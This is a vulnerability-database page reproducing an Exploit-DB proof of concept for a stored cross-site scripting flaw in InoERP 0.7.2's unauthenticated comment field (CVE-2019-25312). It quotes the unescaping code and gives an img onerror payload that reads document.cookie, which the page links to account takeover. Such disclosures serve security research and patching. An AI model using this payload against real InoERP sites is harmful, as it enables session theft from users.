Lucene search
+L

InoERP 0.7.2 - Stored Cross-Site Scripting (XSS)

🗓️ 27 Sep 2019 00:00:00Reported by striderType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 265 Views

InoERP 0.7.2 - Persistent Cross-Site Scripting security fla

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-25312
11 Feb 202614:56
–attackerkb
cnnvd
CNNVD
inoERP cross-site scripting vulnerabilities
11 Feb 202600:00
–cnnvd
cve
CVE
CVE-2019-25312
11 Feb 202614:56
–cve
cvelist
Cvelist
CVE-2019-25312 InoERP 0.7.2 - Persistent Cross-Site Scripting
11 Feb 202614:56
–cvelist
nvd
NVD
CVE-2019-25312
11 Feb 202615:16
–nvd
osv_cve
osv_cve
CVE-2019-25312
11 Feb 202615:16
–osv_cve
ptsecurity
Positive Technologies
PT-2026-7607
11 Feb 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2019-25312: Improper Neutralization of Input During Web Page Generation
11 Feb 202600:00
–rapid7
vulnrichment
Vulnrichment
CVE-2019-25312 InoERP 0.7.2 - Persistent Cross-Site Scripting
11 Feb 202614:56
–vulnrichment
# Exploit Title: InoERP 0.7.2 - Persistent Cross-Site Scripting
# Google Dork: None
# Date: 2019-09-14
# Exploit Author: strider
# Vendor: http://inoideas.org/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None

====================================[Description]====================================
There is a security flaw on the comment section, which allows to make persistant xss without any authentication.
An attacker could use this flaw to gain cookies to get into a account of registered users.


====================================[Vulnerability]====================================
extensions/comment/post_comment.php in the server part
$$extension = new $extension;

 foreach ($field_array as $key => $value) {
	if (!empty($_POST[$value])) {
	 $$extension->$value = trim(mysql_prep($_POST[$value])); <-- escaping for htmlentities
	} else {
	 $$extension->$value = "";
	}
 }

includes/functions/functions.inc in the server part
function mysql_prep($value) {
 return $value; <-- just returns the value
}

====================================[Proof of Concept]====================================
Step 1:
http://your-server-ip/content.php?mode=9&content_type=forum&category_id=7

Step 2:
open a new question and submit it.

Step 3:
then paste this PoC-Code below into the comment field and submit that

<img src=# onerror="alert(document.cookie);">

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.15.4
CVSS 45.1
EPSS0.00275
SSVC
265